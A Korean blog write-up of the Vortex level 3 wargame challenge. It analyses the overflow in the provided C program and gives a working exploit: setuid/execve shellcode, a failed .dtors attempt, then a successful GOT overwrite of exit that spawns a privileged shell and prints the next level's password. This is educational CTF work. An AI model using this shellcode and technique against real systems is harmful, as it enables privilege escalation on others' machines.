본문 바로가기

wargame/vortex

vortex3

Vortex Level 3 → Level 4

A Stack Overflow with a Difference

This level is pretty straight forward. Just sit down and understand what the code is doing. Your shellcode will require a setuid(LEVEL4_UID) since bash drops effective privileges. You could alternatively write a quick setuid(geteuid()) wrapper around bash.

NOTE: ctors/dtors might no longer be writable, although this level is compiled with -Wl,-z,norelro. Lookup some information about this e.g. here

Reading Material

Included file: vortex3.c
/*
 * 0xbadc0ded.org Challenge #02 (2003-07-08)
 *
 * Joel Eriksson <je@0xbadc0ded.org>
 */

#include <string.h>
#include <stdlib.h>
#include <stdio.h>

unsigned long val = 31337;
unsigned long *lp = &val;

int main(int argc, char **argv)
{
        unsigned long **lpp = &lp, *tmp;
        char buf[128];

        if (argc != 2)
                exit(1);

        strcpy(buf, argv[1]);

        if (((unsigned long) lpp & 0xffff0000) != 0x08040000)
                exit(2);

        tmp = *lpp;
        **lpp = (unsigned long) &buf;
        // *lpp = tmp; // Fix suggested by Michael Weissbacher @mweissbacher 2013-06-30

        exit(0);
}

소스를 한번 분석해보자.

일단 


unsigned long val = 31337;

unsigned long *lp = &val;

요 두놈은 초기화된 전역변수로서 .data영역에 할당될것이다.


 unsigned long **lpp = &lp, *tmp;

 char buf[128];

main의 지역변수로써,  lpp는 lp를 가리키는 이중포인터이고 long변수를 가리킬 포인터 tmp를 하나 선언햇다.

문자열배열 buf도 선언했다.



그리고 argc가 2개있는지 검사하고, buf에 strcpy로 argv[1]의 값을 복사한다. 이부분에서 취약점이 발생한다.



if (((unsigned long) lpp & 0xffff0000) != 0x08040000)

                exit(2);

윗부분은 lpp 즉, &lp의 주소의 앞의 2바이트가 0804인지 확인한다.

그러니까 lpp가 0804말고 다른쪽주소 , 스택같은 주소로 변조되면 안된다.



tmp = *lpp;

**lpp = (unsigned long) &buf;

이부분은 tmp에 *lpp가 들어가는데 lpp는 &lp이고 lp에는 &val가 들어가있으니까

tmp에 &val이 들어간다.

그다음줄은 **lpp에 &buf를 넣는데 **lpp는 31337이 저장되 있는 val을 가르킨다. 그러므로 val에 &buf를 넣는다.


마지막에는 exit(0)이 나오는데 이것때메 메인함수에 ret이 없어 일반적인 BOF는 안되고, 


**lpp = (unsigned long) &buf;을 이용해서

eip를 &buf의 주소로 바꿀수있다면 buf에 쉘코드를 넣기만하면 자동으로 쉘코드가 실행될것이다.

스택에 실행권한이 있는지 확인해 보았다.

vortex3@melinda:/games/vortex$ readelf -l vortex3


Elf file type is EXEC (Executable file)

Entry point 0x8048340

There are 8 program headers, starting at offset 52


Program Headers:

  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align

  PHDR           0x000034 0x08048034 0x08048034 0x00100 0x00100 R E 0x4

  INTERP         0x000134 0x08048134 0x08048134 0x00013 0x00013 R   0x1

      [Requesting program interpreter: /lib/ld-linux.so.2]

  LOAD           0x000000 0x08048000 0x08048000 0x00644 0x00644 R E 0x1000

  LOAD           0x000644 0x08049644 0x08049644 0x0010c 0x00114 RW  0x1000

  DYNAMIC        0x000658 0x08049658 0x08049658 0x000c8 0x000c8 RW  0x4

  NOTE           0x000148 0x08048148 0x08048148 0x00044 0x00044 R   0x4

  GNU_EH_FRAME   0x000550 0x08048550 0x08048550 0x00034 0x00034 R   0x4

  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4


스택에 실행권한이 있는것을 확인할수 있다.


처음시도한 공격은 .dtors를 덮어씌우기를 시도했다.


일단 이중포인터이기 때문에 dtors의 주소를 가지고있는 부분을 찾아야한다.

gdb를 이용해 검색해보았다.


vortex3@melinda:/games/vortex$ gdb -q vortex3

Reading symbols from /games/vortex/vortex3...(no debugging symbols found)...done.

(gdb) quit

vortex3@melinda:/games/vortex$ objdump -h vortex3


vortex3:     file format elf32-i386


Sections:

Idx Name          Size      VMA       LMA       File off  Algn

  0 .interp       00000013  08048134  08048134  00000134  2**0

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

  1 .note.ABI-tag 00000020  08048148  08048148  00000148  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

  2 .note.gnu.build-id 00000024  08048168  08048168  00000168  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

  3 .gnu.hash     00000020  0804818c  0804818c  0000018c  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

  4 .dynsym       00000060  080481ac  080481ac  000001ac  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

  5 .dynstr       00000051  0804820c  0804820c  0000020c  2**0

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

  6 .gnu.version  0000000c  0804825e  0804825e  0000025e  2**1

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

  7 .gnu.version_r 00000020  0804826c  0804826c  0000026c  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

  8 .rel.dyn      00000008  0804828c  0804828c  0000028c  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

  9 .rel.plt      00000020  08048294  08048294  00000294  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

 10 .init         0000002e  080482b4  080482b4  000002b4  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, CODE

 11 .plt          00000050  080482f0  080482f0  000002f0  2**4

                  CONTENTS, ALLOC, LOAD, READONLY, CODE

 12 .text         000001ec  08048340  08048340  00000340  2**4

                  CONTENTS, ALLOC, LOAD, READONLY, CODE

 13 .fini         0000001a  0804852c  0804852c  0000052c  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, CODE

 14 .rodata       00000008  08048548  08048548  00000548  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

 15 .eh_frame_hdr 00000034  08048550  08048550  00000550  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

 16 .eh_frame     000000c0  08048584  08048584  00000584  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

 17 .ctors        00000008  08049644  08049644  00000644  2**2

                  CONTENTS, ALLOC, LOAD, DATA

 18 .dtors        00000008  0804964c  0804964c  0000064c  2**2

                  CONTENTS, ALLOC, LOAD, DATA

 19 .jcr          00000004  08049654  08049654  00000654  2**2

                  CONTENTS, ALLOC, LOAD, DATA

 20 .dynamic      000000c8  08049658  08049658  00000658  2**2

                  CONTENTS, ALLOC, LOAD, DATA

 21 .got          00000004  08049720  08049720  00000720  2**2

                  CONTENTS, ALLOC, LOAD, DATA

 22 .got.plt      0000001c  08049724  08049724  00000724  2**2

                  CONTENTS, ALLOC, LOAD, DATA

 23 .data         00000010  08049740  08049740  00000740  2**2

                  CONTENTS, ALLOC, LOAD, DATA

 24 .bss          00000008  08049750  08049750  00000750  2**2

                  ALLOC

 25 .comment      0000002a  00000000  00000000  00000750  2**0

                  CONTENTS, READONLY

vortex3@melinda:/games/vortex$ gdb -q vortex3

Reading symbols from /games/vortex/vortex3...(no debugging symbols found)...done.

(gdb) set $x=0x08048340

(gdb) while(*++$x!=0x08049650)

 >end

(gdb) x/wx $x

0x8048386 <__do_global_dtors_aux+22>:   0x08049650

(gdb)



.text영역을 시작주소로 우리가 덮어씌울 주소인 .dtors+4주소를 검색하니 다행이 검색이 되었다.

그럼 0x8048386이 주소를 lpp에 덮어씌워주면 될것이다.


[+]payload작성

buf는 esp+0x18에 위치하고 lpp는 esp+0x9c에 위치해있다.

두 주소의 차이는 0x84 = 132만큼 차이나고 다음과 같이 payload를 구성할 것이다.

[shellcode 61byte]['a'*71][0x8048386]


./vortex3 `perl -e'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68","a"x71,"\x86\x83\x04\x08"'`


[+]공격

vortex3@melinda:/games/vortex$ ./vortex3 `perl -e'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68","a"x71,"\x86\x83\x04\x08"'`

vortex3@melinda:/games/vortex$


??공격이 되지 않는다.


왜일까??

아.. exit[0]으로 프로세스가 종료되기 때문에 ret으로 종료하는것과 다르게 .dtors가 실행되지 않는다.

그럼 이번엔 exit의 got을 덮어씌우자.
어차피 plt의 첫번째 줄은 jmp DWORD PTR DS:[got] 이기 때문에 명령어에 주소값이 들어가 이중포인터를 만들수 있을 것이다.

vortex3@melinda:/games/vortex$ gdb -q vortex3
Reading symbols from /games/vortex/vortex3...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
   0x080483f4 <+0>:     push   ebp
   0x080483f5 <+1>:     mov    ebp,esp
   0x080483f7 <+3>:     and    esp,0xfffffff0
   0x080483fa <+6>:     sub    esp,0xa0
   0x08048400 <+12>:    mov    DWORD PTR [esp+0x9c],0x804974c
   0x0804840b <+23>:    cmp    DWORD PTR [ebp+0x8],0x2
   0x0804840f <+27>:    je     0x804841d <main+41>
   0x08048411 <+29>:    mov    DWORD PTR [esp],0x1
   0x08048418 <+36>:    call   0x8048320 <exit@plt>
   0x0804841d <+41>:    mov    eax,DWORD PTR [ebp+0xc]
   0x08048420 <+44>:    add    eax,0x4
   0x08048423 <+47>:    mov    eax,DWORD PTR [eax]
   0x08048425 <+49>:    mov    DWORD PTR [esp+0x4],eax
   0x08048429 <+53>:    lea    eax,[esp+0x18]
   0x0804842d <+57>:    mov    DWORD PTR [esp],eax
   0x08048430 <+60>:    call   0x8048300 <strcpy@plt>
   0x08048435 <+65>:    mov    eax,DWORD PTR [esp+0x9c]
   0x0804843c <+72>:    mov    ax,0x0
   0x08048440 <+76>:    cmp    eax,0x8040000
   0x08048445 <+81>:    je     0x8048453 <main+95>
   0x08048447 <+83>:    mov    DWORD PTR [esp],0x2
   0x0804844e <+90>:    call   0x8048320 <exit@plt>
   0x08048453 <+95>:    mov    eax,DWORD PTR [esp+0x9c]
   0x0804845a <+102>:   mov    eax,DWORD PTR [eax]
   0x0804845c <+104>:   mov    DWORD PTR [esp+0x98],eax
   0x08048463 <+111>:   mov    eax,DWORD PTR [esp+0x9c]
   0x0804846a <+118>:   mov    eax,DWORD PTR [eax]
   0x0804846c <+120>:   lea    edx,[esp+0x18]
   0x08048470 <+124>:   mov    DWORD PTR [eax],edx
   0x08048472 <+126>:   mov    DWORD PTR [esp],0x0
   0x08048479 <+133>:   call   0x8048320 <exit@plt>
End of assembler dump.
(gdb) x/3i  0x8048320
   0x8048320 <exit@plt>:        jmp    DWORD PTR ds:0x8049738
   0x8048326 <exit@plt+6>:      push   0x10
   0x804832b <exit@plt+11>:     jmp    0x80482f0
(gdb) x/wx 0x8049738
0x8049738 <exit@got.plt>:       0x08048326
(gdb) x/wx 0x8048322
0x8048322 <exit@plt+2>: 0x08049738

lpp의 주소를 찾앗다.
그럼 이제 payload를 구성해보자.


[+]payload작성


[shellcode 61byte]['a'*71][0x8048322]


./vortex3 `perl -e'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68","a"x71,"\x22\x83\x04\x08"'`


[+]공격

vortex3@melinda:/games/vortex$ ./vortex3 `perl -e'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68","a"x71,"\x22\x83\x04\x08"'`

$ id

uid=5004(vortex4) gid=5003(vortex3) groups=5004(vortex4),5003(vortex3)

$ cat /etc/vortex_pass/vortex4

2YmgK1=jw



'wargame > vortex' 카테고리의 다른 글

vortex5  (0) 2014.06.08
vortex4  (0) 2014.05.25
vortex2  (0) 2014.05.21
vortex1  (0) 2014.04.28
vortex0  (0) 2014.04.25